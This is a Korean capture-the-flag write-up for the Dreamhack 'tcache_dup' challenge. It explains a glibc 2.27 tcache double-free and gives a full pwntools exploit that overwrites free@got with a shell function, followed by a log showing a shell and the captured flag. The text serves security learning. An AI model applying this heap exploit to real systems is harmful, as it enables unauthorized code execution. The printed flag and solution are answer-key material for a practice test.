[dreamhack] tcache_dup writeup

1. 문제

thumbnail
tcache_dup

이 문제는 작동하고 있는 서비스(tcache_dup)의 바이너리와 소스코드가 주어집니다.
Tcache dup 공격 기법을 이용한 익스플로잇을 작성하여 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/60

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}
  • case 1: create함수를 통해 sizedata를 입력받아서 메모리를 할당
  • case 2: delete함수를 통해 idx를 입력받아서 해당 메모리를 free

libc 2.27 버전을 사용하여 tcache에 대한 double free를 검사하지않는다.


2.1. tcache

glibc 2.27 버전부터 성능 향상을 위해 tcache (thread-local cache)라는 것이 도입되었고, 사이즈별로 최대 7개의 청크를 빠르게 재사용하기 위해 스레드별로 캐싱한다. fastbin과 비슷하지만, 훨씬 더 빠르고 스레드마다 독립적인 특징이 있다.

2.2. tcache dup 취약점

초기버전 (glibc 2.27 - 2.29)의 tcachedouble free를 막지않았고, 이에 따라 공격이 가능하다.

tcache는 크기별로 아래와 같이 단순 연결 리스트를 유지한다.

typedef struct tcache_entry {
    struct tcache_entry* next;
} tcache_entry;

tcache는 기본적으로 fd (next 포인터)를 그대로 따라가기 때문에, 이미 free된 청크의 fd를 조작해서 원하는 주소에 malloc이 가능하다. 그리고 이렇게 할당받은 메모리에 데이터를 넣을 수 있다면 exploit이 가능해진다.

2.3. tcache dup 시나리오

  • ⁣1. 청크를 하나 할당
  • ⁣2. 해당 청크를 두번 free
  • ⁣3. 첫번째 재할당 후 해당 청크에 데이터를 써서 fd 덮기
    • 이때 tcache에 남아있는 청크의 fd가 조작됨
  • ⁣4. 두번째 재할당 (여기까지 같은 청크 재사용)
    • 이때 두번째 재할당에 사용된 청크의 fd가 조작되어 임의 주소를 가리키고 있음
    • 다음 할당에서는 조작된 임의주소가 할당됨
  • ⁣5. 세번째 할당시 조작된 임의주소가 할당되어 리턴됨
    • 이 주소에 원하는 데이터를 쓸 수 있음

따라서 전체 흐름은 아래와 같다. (Thanks to GPT)

[ 초기 상태 ]
  tcache[0x40] = NULL

[ delete(0) 두 번 ]
  tcache[0x40] = chunk_0 → chunk_0 → NULL

[ malloc() 1 → fd = free@got ]
  chunk_0.fd = free@got
  tcache[0x40] = chunk_0(fd=free@got) → NULL

[ malloc() 2 ]
  리턴: chunk_0
  tcache[0x40] = free@got → NULL

[ malloc() 3 ]
  리턴: free@got ← 우리가 조작한 주소
  이곳에 get_shell 주소 덮음!

그러면 최종 exploit은 아래와 같다.

from pwn import *

p = process("./tcache_dup")
p = remote("host3.dreamhack.games", 11648)
elf = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")

# 1. malloc chunk
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"a")

# 2. double free chunk
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"0")

p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"0")

# 3. re-malloc chunk and write 1->fd as free@got address
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.got["free"]))

# 4. re-malloc chunk, this will update tcache's head to free@got
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"b")

# 5. malloc new chunk, this will allow us to write get_shell address at free@got
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["get_shell"]))

# 5. execute free in case 2
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"0")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/tcache_dup$ python3 e_tcache_dup.py 
[+] Starting local process './tcache_dup': pid 2545457
[+] Opening connection to host3.dreamhack.games on port 11648: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/tcache_dup/tcache_dup'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/tcache_dup/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

id
[*] Switching to interactive mode
$ 
$ id
$ 
uid=1000(tcache_dup) gid=1000(tcache_dup) groups=1000(tcache_dup)
$ cat flag
DH{8fb591cfc1a2e30d0a33d53ace8e4973d40c28a4eb8d6e20581a2e8bdd393a91}

처음 tcache dup 취약점에 대해서 공부하다보니 fd를 덮고 할당하는게 너무너무 헷갈렸다. 그래서 처음에는 free 두번하고, malloc도 두번하면되겠네! 했는데 그게 아니었다. fd를 조작한다는 것은 조작된 청크의 다음에 가리키게되는 주소를 바꾸는 것이기 때문에 한번 더 할당해야 조작한 주소에 메모리를 할당할 수 있다는 것… tcache가 어떻게 돌아가는지 이제야 좀 알 것 같다.

아무튼 해결~